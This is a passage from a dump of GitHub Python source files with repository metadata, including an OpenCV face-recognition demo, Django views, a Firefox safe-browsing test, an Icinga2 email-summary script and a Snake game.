\"\"\"To be called whenever a client changes its status.\n\n :param client: Client that has changed its status.\n :type client: :class:`edge_st_sdk.edge_client.EdgeClient`\n\n :param new_status: New status.\n :type new_status: :class:`edge_st_sdk.edge_client.EdgeClientStatus`\n\n :param old_status: Old status.\n :type old_status: :class:`edge_st_sdk.edge_client.EdgeClientStatus`\n\n :raises NotImplementedError`: if the method has not been implemented.\n \"\"\"\n raise NotImplementedError('You must implement \"on_status_change()\" to '\n 'use the \"EdgeClientListener\" class.')\n","repo_name":"STMicroelectronics/EdgeSTSDK_Python","sub_path":"edge_st_sdk/edge_client.py","file_name":"edge_client.py","file_ext":"py","file_size_in_byte":6593,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"68"}
+{"seq_id":"5932409474","text":"import cv2\nimport numpy as np\nimport os\n\nrecognizer = cv2.face.LBPHFaceRecognizer_create(radius=1, neighbors=8, grid_x=8, grid_y=8)\nrecognizer.read('trainer/trainer.yml')\n\nfaceCascade = cv2.CascadeClassifier(cv2.data.haarcascades + 'haarcascade_frontalface_alt2.xml') # haarcascade_frontalface_default.xml\neyeCascade = cv2.CascadeClassifier(cv2.data.haarcascades + 'haarcascade_eye_tree_eyeglasses.xml')\n\nfont = cv2.FONT_HERSHEY_SIMPLEX\n\n\ndef face_alignment(img, eye_position1, eye_position2):\n # face alignment based eye position\n #if eye_position1 == None or eye_position2 == None:\n # return -1\n\n if eye_position1[0] < eye_position2[0]:\n left_eye = eye_position1\n right_eye = eye_position2\n else:\n left_eye = eye_position2\n right_eye = eye_position1\n\n # Calculating coordinates of a central points of the rectangles\n left_eye_center = (int(left_eye[0] + (left_eye[2] / 2)), int(left_eye[1] + (left_eye[3] / 2)))\n left_eye_x = left_eye_center[0]\n left_eye_y = left_eye_center[1]\n\n right_eye_center = (int(right_eye[0] + (right_eye[2] / 2)), int(right_eye[1] + (right_eye[3] / 2)))\n right_eye_x = right_eye_center[0]\n right_eye_y = right_eye_center[1]\n\n delta_x = right_eye_x - left_eye_x\n delta_y = right_eye_y - left_eye_y\n\n if delta_x == 0 :\n delta_x = 1\n\n angle = np.arctan(delta_y / delta_x)\n angle = (angle * 180) / np.pi\n\n # Width and height of the image\n h, w = img.shape[:2]\n # Calculating a center point of the image\n # Integer division \"//\"\" ensures that we receive whole numbers\n center = (w // 2, h // 2)\n # Defining a matrix M and calling\n # cv2.getRotationMatrix2D method\n M = cv2.getRotationMatrix2D(center, (angle), 1.0)\n # Applying the rotation to our image using the\n # cv2.warpAffine method\n rotated_img = cv2.warpAffine(img, M, (w, h))\n\n return rotated_img\n\n\n\n\n# iniciate id counter\nid = 0\n\n# names related to ids: example ==> Marcelo: id=1, etc\nnames = ['none', 'mira', 'jihyun', 'inseong', 'hyunbin', 'jiwon', 'obama', 'son', 'jimi']\n\n# Initialize and start realtime video capture\ncam = cv2.VideoCapture(0)\ncam.set(3, 640) # set video widht\ncam.set(4, 480) # set video height\n\n# Define min window size to be recognized as a face\nminW = 0.1 * cam.get(3)\nminH = 0.1 * cam.get(4)\n\nwhile True:\n ret, img = cam.read()\n\n if ret == False:\n continue\n\n #img = cv2.flip(img, -1) # Flip vertically\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n\n faces = faceCascade.detectMultiScale(\n gray,\n scaleFactor=1.2,\n minNeighbors=5,\n minSize=(int(minW), int(minH)),\n )\n\n for (x, y, w, h) in faces:\n cv2.rectangle(img, (x, y), (x + w, y + h), (0, 255, 0), 2)\n\n face_img = gray[y:y + h, x:x + w]\n\n resizedface_img = cv2.resize(face_img, (300, 300))\n eyes = eyeCascade.detectMultiScale(\n resizedface_img,\n scaleFactor=1.1,\n minNeighbors=3\n )\n\n index = 0\n eye_1 = None\n eye_2 = None\n eye_cnt = len(eyes)\n if eye_cnt > 2:\n eye_1 = eyes[0]\n eye_2 = eyes[1]\n # Drawing rectangles around the eyes\n # cv2.rectangle(face_img, (ex, ey), (ex + ew, ey + eh), (0, 0, 255), 3)\n #cv2.imshow('face', face_img)\n rotatedface_img = face_alignment(face_img, eye_1, eye_2)\n rotatedface_img = cv2.resize(rotatedface_img, (200, 200))\n else:\n rotatedface_img = cv2.resize(face_img, (200, 200))\n\n #cv2.imshow('rotated', rotatedface_img)\n #cv2.waitKey()\n\n ###########################################################\n id, confidence = recognizer.predict(rotatedface_img)\n ###########################################################\n\n if confidence < 500:\n confidence = int(100 * (1 - (confidence) / 300))\n\n # If confidence is less them 100 ==> \"0\" : perfect match\n if (confidence > 60):\n id = names[id]\n confidence = \" {0}%\".format(confidence)\n else:\n id = \"unknown\"\n confidence = \" {0}%\".format(confidence)\n\n '''if (confidence < 100):\n id = names[id]\n confidence = \" {0}%\".format(round(100-confidence))\n else:\n id = \"unknown\"\n confidence = \" {0}%\".format(round(100-confidence))'''\n\n cv2.putText(\n img,\n str(id),\n (x + 5, y - 5),\n font,\n 1,\n (255, 255, 255),\n 2\n )\n cv2.putText(\n img,\n str(confidence),\n (x + 5, y + h - 5),\n font,\n 1,\n (255, 255, 0),\n 1\n )\n\n cv2.imshow('camera', img)\n k = cv2.waitKey(10) & 0xff # Press 'ESC' for exiting video\n if k == 27:\n break\n\n# Do a bit of cleanup\nprint(\"\\n [INFO] Exiting Program and cleanup stuff\")\ncam.release()\ncv2.destroyAllWindows()","repo_name":"maira7/openCV_face","sub_path":"face_recg.py","file_name":"face_recg.py","file_ext":"py","file_size_in_byte":5019,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"38029389815","text":"# https://www.hackerrank.com/challenges/sparse-arrays/problem?isFullScreen=true\n# Difficulty: Medium, Points: 25\n\n# Complexity: Time - O(n) and Space: O(n)\n\ndef matchingStrings(strings, queries):\n freq1 = Counter(strings)\n \n result = [0] * len(queries)\n \n for i, q in enumerate(queries):\n if q in freq1:\n result[i] = freq1[q]\n \n return result\n\n\n\n","repo_name":"HunkWhoCodes/HackerRank-Solutions","sub_path":"DataStructures/Arrays/SparseArrays.py","file_name":"SparseArrays.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"17165265622","text":"class Sentence:\n\tdef __init__(self,sen):\n\t\tself.sen=sen\n\tdef reverse(self):\n\t\tword=self.sen.split()\n\t\treverse=\"\"\n\t\tfor i in word:\n\t\t\treverse=i+\" \"+reverse\n\t\treturn reverse\n\tdef vowel(self):\n\t\tcount=0\n\t\tvo=['A','E','I','O','U','a','e','i','o','u']\n\t\tfor i in self.sen:\n\t\t\tif i in vo:\n\t\t\t\tcount=count+1\n\t\treturn count\n\nr1=Sentence(input())\nr2=Sentence(input())\nr3=Sentence(input())\n\nc1=r1.vowel()\nc2=r2.vowel()\nc3=r3.vowel()\n\nworddes={\n\tc1:r1.reverse(),\n\tc2:r2.reverse(),\n\tc3:r3.reverse()\n\t}\n\nfor i in sorted(worddes.keys(), reverse=True):\n\tprint(i,worddes[i])\n\n\t\t\n\t\t\n","repo_name":"aman1698/Semester-5","sub_path":"SEE/6/6b.py","file_name":"6b.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"10915849614","text":"from armulator.armv6.bits_ops import substring\nfrom armulator.armv6.opcodes.abstract_opcodes.umaal import Umaal\n\n\nclass UmaalA1(Umaal):\n @staticmethod\n def from_bitarray(instr, processor):\n rn = substring(instr, 3, 0)\n rm = substring(instr, 11, 8)\n rd_lo = substring(instr, 15, 12)\n rd_hi = substring(instr, 19, 16)\n if rd_hi == 15 or rm == 15 or rn == 15 or rd_lo == 15 or (rd_lo == rd_hi):\n print('unpredictable')\n else:\n return UmaalA1(instr, m=rm, d_hi=rd_hi, d_lo=rd_lo, n=rn)\n","repo_name":"matan1008/armulator","sub_path":"armulator/armv6/opcodes/concrete/umaal_a1.py","file_name":"umaal_a1.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"68"}
+{"seq_id":"17804135363","text":"#!/usr/bin/env python3\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport sys\nimport argparse\nimport io\nimport code\nimport os.path\nimport scipy.optimize\n\nif np.__version__ < '1.14.1':\n sys.exit(\"numpy version \", np.__version__, \"is too old\")\n \ndef open_3d_file(file):\n print(np.__version__)\n fh = open(file, 'r')\n header = fh.readline().rstrip()\n print(\"header: \", header)\n contents = fh.read().rstrip()\n \n list_of_blocks = contents.split(\"\\n\\n\")\n print(\"number of blocks: \", len(list_of_blocks))\n arrays = []\n for block in (list_of_blocks):\n arrays.append(np.genfromtxt(io.StringIO(block)))\n first_shape = arrays[0].shape\n for i in range(len(arrays)-1, -1, -1):\n shape = arrays[i].shape\n if shape != first_shape:\n print(\"block \", i, \" with first line\", arrays[i][0], \" does not match :\", shape, \" != \", first_shape)\n del arrays[i]\n return np.stack(arrays), header\n\ndef closest_index(array, value):\n if len(array.shape) != 1:\n sys.exit(\"argument of closest_index needs dimension 1\")\n \n abs_array = np.abs(array - value)\n index = np.where(abs_array == np.amin(abs_array))\n if len(index) > 1:\n print(\"warning: multiple optimal values in closest_index\")\n index = index[0][0]\n value = array[index]\n return index, value\n\nparser = argparse.ArgumentParser()\n\n# mandatory arguments\nparser.add_argument('filename', help=\"input file\")\nparser.add_argument('OIZ', help=\"outer:inner:zcol description\")\nparser.add_argument('trace', help=\"o=value or i=value\")\n\n# output arguments\nparser.add_argument('-o', '--output', help=\"basename for output data file\")\nparser.add_argument('-f', '--force', action=\"store_true\", help=\"overwrite existing files\")\n\n# commands\nparser.add_argument('-c', '--command', action='append', default=[], help=\" transformation command, see below; can be provided multiple times\")\n\n# plot options\nparser.add_argument('-s', '--save-plot', help='save plot to filename. Suffix determines the format')\nparser.add_argument('--line', action='store_true')\n\n# fit functions\nparser.add_argument('--fit', help=\"fit type: 'linear', 'gaussian', 'lorentzian'\") \n\nargs = parser.parse_args()\nprint(args)\ncols = [int(x)-1 for x in args.OIZ.split(':')]\nif len(cols) != len(set(cols)):\n sys.exit(\"outer, inner, and z columns need to be unique\")\n\no_col, i_col, z_col = cols\ntrace_index, trace_value = args.trace.split('=')\nif trace_index != 'o' and trace_index != 'i':\n sys.exit(\"trace argument need to be o=value or i=value\")\n \ntrace_value = float(trace_value)\n\ndata_3d, header = open_3d_file(args.filename)\ncol_legends = header.split()[1:]\ncol_dict = {}\nprint(\"legends:\", col_legends)\nfor i, val in enumerate(col_legends):\n col_dict[i] = val\n\nprint(\"input data shape: \", data_3d.shape)\n\n# assume regular data: o11 = o12 = o13, ...; i11 = i21 = i31, ...\n\nif trace_index == 'o':\n trace_col = o_col\n o_vals = data_3d[:,0,o_col]\n o_index, value = closest_index(o_vals, trace_value)\n x_col = i_col\n x_vals = data_3d[o_index,:,x_col]\n z_vals = data_3d[o_index,:,z_col]\n \nelif trace_index == 'i':\n trace_col = i_col\n i_vals = data_3d[0, :, i_col]\n i_index, value = closest_index(i_vals, trace_value)\n x_col = o_col\n x_vals = data_3d[:,i_index, x_col]\n z_vals = data_3d[:,i_index, z_col]\n\nx_label = col_dict[x_col]\nz_label = col_dict[z_col]\n\ndef apply_commands(commands, x_vals, z_vals, x_label, z_label):\n for cmd in (commands):\n x_vals, z_vals, x_label, z_label = apply_command(cmd, x_vals, z_vals, x_label,\n z_label)\n return x_vals, z_vals, x_label, z_label\n\ndef apply_command(cmd, x_vals, z_vals, x_label, z_label):\n print(\"apply command\", cmd)\n if cmd in 'abs log log10'.split():\n z_vals = getattr(np, cmd)(z_vals)\n z_label = cmd + '(' + z_label + ')'\n elif cmd.startswith('xmin='):\n tmp,value = cmd.split('=')\n value = float(value)\n mask = np.where(x_vals < value)\n x_vals = np.delete(x_vals, mask)\n z_vals = np.delete(z_vals, mask)\n elif cmd.startswith('xmax='):\n tmp,value = cmd.split('=')\n value = float(value)\n mask = np.where(x_vals > value)\n x_vals = np.delete(x_vals, mask)\n z_vals = np.delete(z_vals, mask)\n elif cmd.startswith('zmin='):\n tmp,value = cmd.split('=')\n value = float(value)\n mask = np.where(z_vals < value)\n x_vals = np.delete(x_vals, mask)\n z_vals = np.delete(z_vals, mask)\n elif cmd.startswith('zmax='):\n tmp,value = cmd.split('=')\n value = float(value)\n mask = np.where(z_vals > value)\n x_vals = np.delete(x_vals, mask)\n z_vals = np.delete(z_vals, mask)\n elif cmd.startswith('add='):\n tmp,value = cmd.split('=')\n value = float(value)\n z_vals = z_vals + value\n z_label = z_label + (\"%g\" % value)\n elif cmd.startswith('factor='):\n tmp,value = cmd.split('=')\n value = float(value)\n z_vals = value * z_vals\n z_label = (\"%g • \" % value) + z_label\n elif cmd == 'fft':\n z_vals = np.abs(np.fft.rfft(z_vals))\n x_vals = np.fft.rfftfreq(x_vals.shape[0], np.abs(x_vals[1]-x_vals[0]))\n z_label = \"|fft(%s)|\" % z_label\n x_label = \"freq(%s)\" % x_label\n \n else:\n sys.exit(\"unknown command \" + cmd)\n return x_vals, z_vals, x_label, z_label\n \nx_vals, z_vals, x_label, z_label = apply_commands(args.command, x_vals, z_vals,\n x_label, z_label)\n\nif args.output:\n if not args.force and os.path.isfile(args.output):\n sys.exit(\"file %s already exists. Use -f option to overwrite\" % args.output)\n output_block = np.stack([x_vals, z_vals], axis=-1)\n header = \"# %s\\t%s\" % (x_label, z_label)\n np.savetxt(args.output, output_block, fmt=\"%.17g\", header=header, comments='')\n\n\nlinestyle = \"-\" if args.line else \"\"\nplt.plot(x_vals, z_vals, marker=\"x\", linestyle=linestyle, label=\"%s=%g\" %( col_dict[trace_col], value))\n\ndef gaussian(x, *p):\n x0, w, A, a, b = p\n return A * np.exp(-1/2 * ((x-x0)/w)**2) + a*x + b\n\ndef lorentzian(x, *p):\n x0, w, A, a, b = p\n return A /(w**2 + (x-x0)**2) + a*x + b\n\nif args.fit:\n if args.fit == 'linear':\n coeff, V = np.polyfit(x_vals, z_vals, 1, cov=True)\n print(\"coeffs of linear fit: \", coeff)\n p = np.poly1d(coeff)\n cov = np.sqrt(np.diag(V))\n print(\"standard deviations: \", cov)\n label = \"%.3g(±%.2g) • %s %+.3g(±%.2g)\" % (coeff[0], cov[0], col_dict[x_col], coeff[1], cov[1])\n plt.plot(x_vals, p(x_vals), label=label)\n elif args.fit == 'gaussian':\n p0 = [(x_vals[-1] + x_vals[0])/2, 1, 1, 0, 0]\n popt, pcov = scipy.optimize.curve_fit(gaussian, x_vals, z_vals, p0=p0)\n print(\"fit parameters: \", popt)\n z_plot = gaussian(x_vals, *popt)\n label = 'gaussian(x_0 = %.4g, σ = %.3g)' % (popt[0], popt[1])\n plt.plot(x_vals, z_plot, label=label)\n elif args.fit == 'lorentzian':\n p0 = [(x_vals[-1] + x_vals[0])/2, 1, 1, 0, 0]\n popt, pcov = scipy.optimize.curve_fit(lorentzian, x_vals, z_vals, p0=p0)\n print(\"fit parameters: \", popt)\n z_plot = lorentzian(x_vals, *popt)\n label = 'lorentzian(x_0 = %.4g, w = %.3g)' % (popt[0], popt[1])\n plt.plot(x_vals, z_plot, label=label)\n else:\n sys.exit(\"unknown fit command %s\" % args.fit)\nplt.grid()\nplt.xlabel(x_label)\nplt.ylabel(z_label)\nplt.legend()\nplt.ticklabel_format(style='sci', axis='both')\n\nif args.save_plot:\n if not args.force and os.path.isfile(args.save_plot):\n sys.exit(\"file %s already exists. Use -f option to overwrite\" % args.save_plot)\n plt.savefig(args.save_plot, bbox_inches='tight')\nplt.show(block=False)\ncode.interact()\n","repo_name":"amba/plot_munger","sub_path":"plot_trace.py","file_name":"plot_trace.py","file_ext":"py","file_size_in_byte":7872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"3627700806","text":"from django.shortcuts import render\nimport cx_Oracle\nfrom django.http import HttpResponse\nfrom .models import House\nfrom .models import Character\nfrom .models import Battle\nimport urllib.request\n\n# Create your views here.\n\ndef index(request):\n\t'''con = cx_Oracle.connect('system/oracle@127.0.0.1:1521/xe')\n\tcur = con.cursor()\n\tcur.execute('SELECT * from battle')\n\tresult = cur.fetchall()\n\treturn HttpResponse(\"Valar Morghulis\")'''\n\tcharacters = Character.objects.all()\n\thouses = House.objects.all()\n\tbattles = Battle.objects.all()\n\t'''for character in characters:\n\t\t_characters.append(character.c_name.replace(' ','_'))'''\n\t'''for character in characters:\n\t\turllib.request.urlretrieve(character.c_image,\"F:\\\\Programs\\\\Python-Programs\\\\Django-programs\\\\GameofThrones\\\\static\\\\GameofThrones\\\\images\\\\House\")'''\n\treturn render(request,'index.html',{'characters':characters,'houses':houses,'battles':battles})\n\ndef house(request,pk):\n\thouse = House.objects.get(pk=pk)\n\t#urllib.request.urlretrieve(house.h_image,\"F:\\\\Programs\\\\Python-Programs\\\\Django-programs\\\\GameofThrones\\\\static\\\\GameofThrones\\\\images\\\\House\")\n\treturn render(request,'house.html',{'house':house})\n\ndef character(request,pk):\n\ttry:\n\t\tcharacter = Character.objects.get(pk=pk)\n\t\t#urllib.request.urlretrieve(character.c_image,\"F:\\\\Programs\\\\Python-Programs\\\\Django-programs\\\\GameofThrones\\\\static\\\\GameofThrones\\\\images\\\\Character\")\n\texcept Character.DoesNotExist:\n\t\traise Http404\n\treturn render(request,'characters.html',{'character':character})\n\ndef add_character(request):\n\ttry:\n\t\tcharacter = Character.objects.get(pk=1)\n\texcept Character.DoesNotExist:\n\t\traise Http404\n\treturn render(request,'new_character.html',{'character':character})\n\ndef new_character(request,pk):\n\ttry:\n\t\tcharacter = Character.objects.get(pk=pk)\n\texcept Character.DoesNotExist:\n\t\traise Http404\n\treturn render(request,'new_character.html',{'character':character})\n\ndef delete_character(request):\n\ttry:\n\t\tcharacter = Character.objects.get()\n\texcept Character.DoesNotExist:\n\t\traise Http404\n\treturn render(request,'new_delete.html',{'character':character})\n\ndef add_house(request):\n\ttry:\n\t\thouse = House.objects.get(pk=pk)\n\texcept House.DoesNotExist:\n\t\traise Http404\n\treturn render(request,'new_house.html',{'house':house})\n\ndef add_battle(request):\n\ttry:\n\t\tbattle = Battle.objects.get(pk=pk)\n\texcept Battle.DoesNotExist:\n\t\traise Http404\n\treturn render(request,'new_battle.html',{'battle':battle})\n\n","repo_name":"csanjeev25/GameofThrones","sub_path":"GameofThronesApp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"9033618960","text":"# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\nimport os\n\nfrom firefox_puppeteer import PuppeteerMixin\nfrom marionette_driver import Wait\nfrom marionette_harness import MarionetteTestCase\n\n\nclass TestSafeBrowsingInitialDownload(PuppeteerMixin, MarionetteTestCase):\n\n file_extensions = [\n 'pset',\n 'sbstore',\n ]\n\n prefs_download_lists = [\n 'urlclassifier.blockedTable',\n 'urlclassifier.downloadAllowTable',\n 'urlclassifier.downloadBlockTable',\n 'urlclassifier.malwareTable',\n 'urlclassifier.phishTable',\n 'urlclassifier.trackingTable',\n 'urlclassifier.trackingWhitelistTable',\n ]\n\n prefs_provider_update_time = {\n # Force an immediate download of the safebrowsing files\n 'browser.safebrowsing.provider.google.nextupdatetime': 1,\n 'browser.safebrowsing.provider.mozilla.nextupdatetime': 1,\n }\n\n prefs_safebrowsing = {\n 'browser.safebrowsing.debug': True,\n 'browser.safebrowsing.blockedURIs.enabled': True,\n 'browser.safebrowsing.downloads.enabled': True,\n 'browser.safebrowsing.phishing.enabled': True,\n 'browser.safebrowsing.malware.enabled': True,\n 'privacy.trackingprotection.enabled': True,\n 'privacy.trackingprotection.pbmode.enabled': True,\n }\n\n def get_safebrowsing_files(self):\n files = []\n for pref_name in self.prefs_download_lists:\n base_names = self.marionette.get_pref(pref_name).split(',')\n for ext in self.file_extensions:\n files.extend(['{file}.{ext}'.format(file=f, ext=ext) for f in base_names if f])\n\n return set(sorted(files))\n\n def setUp(self):\n super(TestSafeBrowsingInitialDownload, self).setUp()\n\n # Force the preferences for the new profile\n enforce_prefs = self.prefs_safebrowsing\n enforce_prefs.update(self.prefs_provider_update_time)\n self.marionette.enforce_gecko_prefs(enforce_prefs)\n\n self.safebrowsing_path = os.path.join(self.marionette.instance.profile.profile,\n 'safebrowsing')\n self.safebrowsing_files = self.get_safebrowsing_files()\n\n def tearDown(self):\n try:\n # Restart with a fresh profile\n self.restart(clean=True)\n finally:\n super(TestSafeBrowsingInitialDownload, self).tearDown()\n\n def test_safe_browsing_initial_download(self):\n def check_downloaded(_):\n return reduce(lambda state, pref: state and int(self.marionette.get_pref(pref)) != 1,\n self.prefs_provider_update_time.keys(), True)\n\n try:\n Wait(self.marionette, timeout=60).until(\n check_downloaded, message='Not all safebrowsing files have been downloaded')\n finally:\n self.assertSetEqual(self.safebrowsing_files, set(os.listdir(self.safebrowsing_path)))\n","repo_name":"mozilla/positron","sub_path":"testing/firefox-ui/tests/functional/security/test_safe_browsing_initial_download.py","file_name":"test_safe_browsing_initial_download.py","file_ext":"py","file_size_in_byte":3069,"program_lang":"python","lang":"en","doc_type":"code","stars":553,"dataset":"github-code","pt":"68"}
+{"seq_id":"71923501657","text":"#!/usr/bin/env python3\n\nimport logging\nfrom os import path\nfrom datetime import datetime\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom smtplib import SMTP\n\nfrom icinga2apic.client import Client\nfrom jinja2 import Environment, FileSystemLoader, select_autoescape\n\nfrom config import (from_addr, host_colors, icinga_apipassword, icinga_apiuser,\n icinga_host, log_file, log_format, log_level, send_mail,\n service_colors, smtp_host, smtp_password, smtp_port,\n smtp_username, subject, use_allowlist)\n\nhost_states = {0: \"UP\",\n 1: \"UP\",\n 2: \"DOWN\",\n 3: \"DOWN\"}\n\n\nservice_states = {0: \"OK\",\n 1: \"WARNING\",\n 2: \"CRITICAL\",\n 3: \"UNKNOWN\"}\n\nroot = path.dirname(path.abspath(__file__))\n\ndef notifications_recipients(host):\n \"\"\"Retrieve all users of a host, that want to receive emails\"\"\"\n vars = host.get('vars', {})\n if vars is None:\n return None\n return vars.get('notification', {}).get('mail', {}).get('users')\n\n\ndef timestamp2str(timestamp):\n \"\"\"Convert Unix timestamp to a string\"\"\"\n time = datetime.fromtimestamp(timestamp)\n time_format = \"%H:%M\" if time.date() == datetime.today().date() else \"%d-%b-%y\"\n return time.strftime(time_format)\n\n\ndef setup():\n \"\"\"Sets up the logging, the icinga2 client and the email body template\"\"\"\n logging.basicConfig(filename=log_file, filemode='w', format=log_format,\n level=log_level)\n logging.info('Creating Icinga Email-Summary...')\n\n # set up the icinga2 client (https://github.com/TeraIT-at/icinga2apic)\n client = Client(icinga_host, icinga_apiuser, icinga_apipassword)\n\n # set up jinja2 template\n templates_dir = path.join(root, 'templates')\n env = Environment(\n loader=FileSystemLoader(templates_dir),\n autoescape=select_autoescape()\n )\n mail_template = env.get_template('email.html')\n\n return client, mail_template\n\n\ndef retrieve_and_clean_api_data(client):\n \"\"\"\n Retrieves users, hosts, services from the Icinga API.\n Removes everything except the 'attrs' field.\n Tranforms users and hosts to dictionaries to get faster access.\n \"\"\"\n user_attrs = ['email']\n users = client.objects.list('User', attrs=user_attrs)\n users = {user['name']: user['attrs'] for user in users}\n\n host_attrs = ['address', 'display_name', 'handled', 'last_check_result',\n 'last_hard_state_change', 'problem', 'vars']\n hosts = client.objects.list('Host', attrs=host_attrs)\n hosts = {host['name']: host['attrs'] for host in hosts}\n\n service_attrs = ['display_name', 'host_name', 'last_check_result',\n 'last_hard_state_change']\n services = client.objects.list('Service',\n filters='match(\"True\", service.problem) && '\n 'match(\"False\", service.handled) && '\n 'match(\"True\", service.last_reachable)',\n attrs=service_attrs)\n services = [service['attrs'] for service in services]\n services = sorted(services, key=lambda d: d['last_hard_state_change'],\n reverse=True)\n return users, hosts, services\n\n\ndef sorting(x):\n \"\"\"\n Hosts are sorted by the change_time of their most recent service problem. If\n the host itself is down, its own change_time is used.\n \"\"\"\n return x['services'][0]['change_time'] if len(x['services']) > 0 else x[\n 'change_time']\n\n\ndef assign_services_to_hosts(services, hosts):\n \"\"\"\n Hosts are reduced to their essential information, that is then recognized\n by the jinja2 template. Services are assigned to their corresponding host.\n \"\"\"\n problem_hosts = {}\n for host_name, host_info in hosts.items():\n if host_info['problem'] and not host_info['handled']:\n timestamp = host_info['last_hard_state_change']\n time_str = timestamp2str(timestamp)\n problem_hosts[host_name] = {'name': host_name,\n 'address': host_info['address'],\n 'state': host_info['last_check_result']['state'],\n 'recipients': notifications_recipients(host_info),\n 'change_time': timestamp,\n 'change_time_str': time_str,\n 'output': host_info['last_check_result']['output'],\n 'services': []}\n for service_info in services:\n service_host = hosts[service_info['host_name']]\n timestamp = service_info['last_hard_state_change']\n time_str = timestamp2str(timestamp)\n service = {'name': service_info['display_name'],\n 'state': service_info['last_check_result']['state'],\n 'change_time': timestamp,\n 'change_time_str': time_str,\n 'output': service_info['last_check_result']['output'],\n 'services': []}\n default_host = {'name': service_host['display_name'],\n 'address': service_host['address'],\n 'state': service_host['last_check_result']['state'],\n 'recipients': notifications_recipients(service_host),\n 'change_time_str': timestamp2str(service_host['last_hard_state_change']),\n 'output': None,\n 'services': []}\n # if host does not exist yet in host_problems, create a new one and add the service\n problem_hosts.setdefault(service_info['host_name'], default_host)[\n 'services'].append(service)\n\n problem_hosts = list(problem_hosts.values())\n problem_hosts = sorted(problem_hosts, key=sorting, reverse=True)\n\n return problem_hosts\n\n\ndef assign_hosts_to_users(problem_hosts, users):\n \"\"\"\n Creates a dictionary of all to be contacted email-addresses and their\n corresponding host problems.\n \"\"\"\n # keys: user email address, value: hosts for which user should receive emails\n user_notifications = {}\n\n # assign each user its hosts\n for host in problem_hosts:\n recipients = host['recipients']\n if recipients:\n for recipient in recipients:\n emails = users[recipient].get('email').replace(' ', '').split(',')\n for mail_address in emails:\n if mail_address: # filter out empty strings\n user_notifications.setdefault(mail_address, []).append(host)\n\n return user_notifications\n\n\ndef send_emails(smtp, user_notifications, mail_template):\n \"\"\"Creates the email body from the template and sends it.\"\"\"\n allowlist = []\n if use_allowlist:\n allowlist_path = path.join(root, 'allowlist.txt')\n with open(allowlist_path, 'r') as f:\n for line in f:\n allowlist.append(line.rstrip('\\n'))\n\n for mail_address, host_list in user_notifications.items():\n if use_allowlist and mail_address not in allowlist:\n continue\n\n try:\n msg = MIMEMultipart('alternative')\n msg['Subject'] = subject\n msg['From'] = from_addr\n msg['To'] = mail_address\n msg_body = mail_template.render(hosts=host_list,\n host_colors=host_colors,\n service_colors=service_colors,\n host_states=host_states,\n service_states=service_states)\n msg.attach(MIMEText(msg_body, 'html'))\n\n if send_mail:\n smtp.sendmail(from_addr, mail_address, msg.as_string())\n except Exception:\n logging.exception(f'Could not send email to {mail_address}')\n\n\ndef main():\n icinga2_client, mail_template = setup()\n with SMTP(smtp_host, smtp_port) as smtp:\n if smtp_username and smtp_password:\n smtp.login(smtp_username, smtp_password)\n\n users, hosts, services = retrieve_and_clean_api_data(icinga2_client)\n problem_hosts = assign_services_to_hosts(services, hosts)\n user_notifications = assign_hosts_to_users(problem_hosts, users)\n\n send_emails(smtp, user_notifications, mail_template)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"faberno/icinga2-email-summary","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"13122260183","text":"from turtle import Screen\nimport time\nfrom Snake import Snake\nfrom food import Food\nfrom scoreboard import Scoreboard\n\nscreen = Screen()\nscreen.setup(width=600, height=600)\nscreen.bgcolor(\"black\")\nscreen.title(titlestring=\"Snake Game\")\nscreen.tracer(0)\nscoreboard = Scoreboard()\nfood = Food()\nsnake = Snake()\n\n\nscreen.listen()\nscreen.onkey(key=\"Up\", fun=snake.move_up)\nscreen.onkey(key=\"Down\", fun=snake.move_down)\nscreen.onkey(key=\"Left\", fun=snake.move_left)\nscreen.onkey(key=\"Right\", fun=snake.move_right)\n\n\ngame_is_on = True\nwhile game_is_on:\n screen.update()\n time.sleep(0.1)\n snake.move()\n\n if snake.head.distance(food) < 15:\n food.update()\n scoreboard.addScore()\n snake.extend()\n\n if snake.head.xcor() > 280 or snake.head.xcor() < -280 or snake.head.ycor() > 280 or snake.head.ycor() < -280:\n scoreboard.reset()\n snake.reset()\n\n for segment in snake.segments[1:]:\n if snake.head.distance(segment) < 10:\n scoreboard.reset()\n snake.reset()\n\n\n\nscreen.exitonclick()\n","repo_name":"kar1221/snakeGame","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
